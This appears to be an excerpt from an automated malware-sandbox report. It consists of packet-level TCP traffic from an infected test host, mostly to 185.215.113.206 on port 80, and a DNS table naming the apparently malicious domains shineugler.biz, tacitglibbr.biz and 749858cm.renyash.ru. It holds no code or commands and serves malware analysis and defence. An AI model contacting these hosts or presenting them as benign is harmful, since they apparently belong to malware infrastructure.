Dec 16, 2024 13:16:52.314902067 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.315480947 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.315531969 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.315573931 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.315970898 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.316387892 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.316456079 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.316618919 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.317230940 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.317342997 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.317568064 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.318129063 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.318198919 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.319498062 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.335222960 CET	80	49809	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:52.338159084 CET	49809	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:52.347656965 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:52.348223925 CET	49816	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:52.357271910 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.357336044 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.357454062 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.357454062 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.357522964 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.357628107 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.357686996 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.357920885 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.358393908 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.358434916 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.359237909 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.359327078 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.359355927 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.359558105 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.359632969 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.361931086 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.361985922 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.362147093 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.362341881 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.362361908 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.362392902 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.362394094 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.362451077 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.363181114 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.363297939 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.363379002 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.363451958 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.364310026 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.364545107 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.364646912 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.364669085 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.364669085 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.365329027 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.365406990 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.366063118 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.366067886 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.366120100 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.366120100 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.366122961 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.366234064 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.366952896 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.370068073 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.427493095 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.427567005 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.427581072 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.427845955 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.427989006 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.428040028 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.428107023 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.428152084 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.428824902 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.428900957 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.429631948 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.429774046 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.429796934 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.429796934 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.430418015 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.430531025 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.430589914 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.430691957 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.431416035 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.431619883 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.432234049 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.432269096 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.432318926 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.432343960 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.432395935 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.432557106 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.433219910 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.433276892 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.433295965 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.433435917 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.434006929 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.434129000 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.434153080 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.434264898 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.434844017 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.434916019 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.434951067 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.435067892 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.435738087 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.435847044 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.436639071 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.436722994 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.436786890 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.436786890 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.437522888 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.437664032 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.437697887 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.437830925 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.438388109 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.438579082 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.438873053 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.438873053 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.439249992 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.439460993 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.439483881 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.440104008 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.440126896 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.440187931 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.440201998 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.440985918 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.441220999 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.441870928 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.441951990 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.441977978 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.441977978 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.442253113 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.442709923 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.442815065 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.442861080 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.442920923 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.443571091 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.443689108 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.444443941 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.444574118 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.444828987 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.444828987 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.445337057 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.445432901 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.445518970 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.445518970 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.446187019 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.446234941 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.446291924 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.446355104 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.447052956 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.447093010 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.467885971 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:52.467968941 CET	80	49816	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:52.468031883 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:52.468748093 CET	49816	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:52.474725962 CET	49816	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:52.493930101 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.494019985 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.494045973 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.494247913 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.494290113 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.494585037 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.494611025 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.495033026 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.495168924 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.495310068 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.495469093 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.495615959 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.496063948 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.496378899 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.496503115 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.496896029 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.496896029 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.497198105 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.497302055 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.497358084 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.497454882 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.498022079 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.498147964 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.498176098 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.498250008 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.498922110 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.499017000 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.499017954 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.499121904 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.499823093 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.499922991 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.500659943 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.500777960 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.501523972 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.501631975 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.501657009 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.501657009 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.502161980 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.502448082 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.502527952 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.503279924 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.503304958 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.503371954 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.503396034 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.504189968 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.504317999 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.504995108 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.505115986 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.505139112 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.505139112 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.505857944 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.505991936 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.506067991 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.506360054 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.506715059 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.506803989 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.506827116 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.507606983 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.507744074 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.508471966 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.508600950 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.508622885 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.508622885 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.509382963 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.509449959 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.510068893 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.510157108 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.510205984 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.510313988 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.510329962 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.510405064 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.533016920 CET	49817	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:52.533071041 CET	443	49817	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:52.533164024 CET	49817	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:52.535610914 CET	49817	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:52.535621881 CET	443	49817	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:52.549441099 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.549508095 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.549535036 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.549666882 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.549772978 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.549798012 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.549798012 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.550307035 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.550646067 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.550776005 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.550800085 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.551915884 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.551939011 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.551940918 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.554055929 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.554224014 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.554558992 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.554586887 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.554586887 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.554621935 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.555388927 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.555530071 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.556096077 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.556096077 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.556245089 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.556466103 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.556516886 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.556586027 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.557410002 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.557512999 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.558068991 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.558178902 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.558304071 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.558418989 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.559112072 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.559138060 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.559138060 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.562069893 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.594449997 CET	80	49816	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:52.619630098 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.619700909 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.619740009 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.619837046 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.620023012 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.620117903 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.620325089 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.620529890 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.621018887 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.621057987 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.621109962 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.621109962 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.621771097 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.621869087 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.622118950 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.622766972 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.622806072 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.622848034 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.622973919 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.623914003 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.624219894 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.624562025 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.624674082 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.624741077 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.624768972 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.625036001 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.625262022 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.625323057 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.625370026 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.625658989 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.626131058 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.626221895 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.626718998 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.627068043 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.627139091 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.627162933 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.627238035 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.628132105 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.628161907 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.628220081 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.628726006 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.628942966 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.629028082 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.629082918 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.629617929 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.629730940 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.629802942 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:52.630573988 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:52.630625963 CET	49795	80	192.168.2.8	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 13:16:26.116149902 CET	192.168.2.8	1.1.1.1	0xcd1d	Standard query (0)	shineugler.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:16:34.345290899 CET	192.168.2.8	1.1.1.1	0xd6d1	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:16:55.446027040 CET	192.168.2.8	1.1.1.1	0xe47b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:16:55.446314096 CET	192.168.2.8	1.1.1.1	0x4948	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 16, 2024 13:17:02.185400009 CET	192.168.2.8	1.1.1.1	0xf73d	Standard query (0)	749858cm.renyash.ru	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.572395086 CET	192.168.2.8	1.1.1.1	0x7097	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.572802067 CET	192.168.2.8	1.1.1.1	0xfc91	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.690820932 CET	192.168.2.8	1.1.1.1	0x58ac	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.759356022 CET	192.168.2.8	1.1.1.1	0x7a96	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.759722948 CET	192.168.2.8	1.1.1.1	0x6450	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.762978077 CET	192.168.2.8	1.1.1.1	0x5fc4	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.777508020 CET	192.168.2.8	1.1.1.1	0x79c6	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:17:13.778125048 CET	192.168.2.8	1.1.1.1	0x4521	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
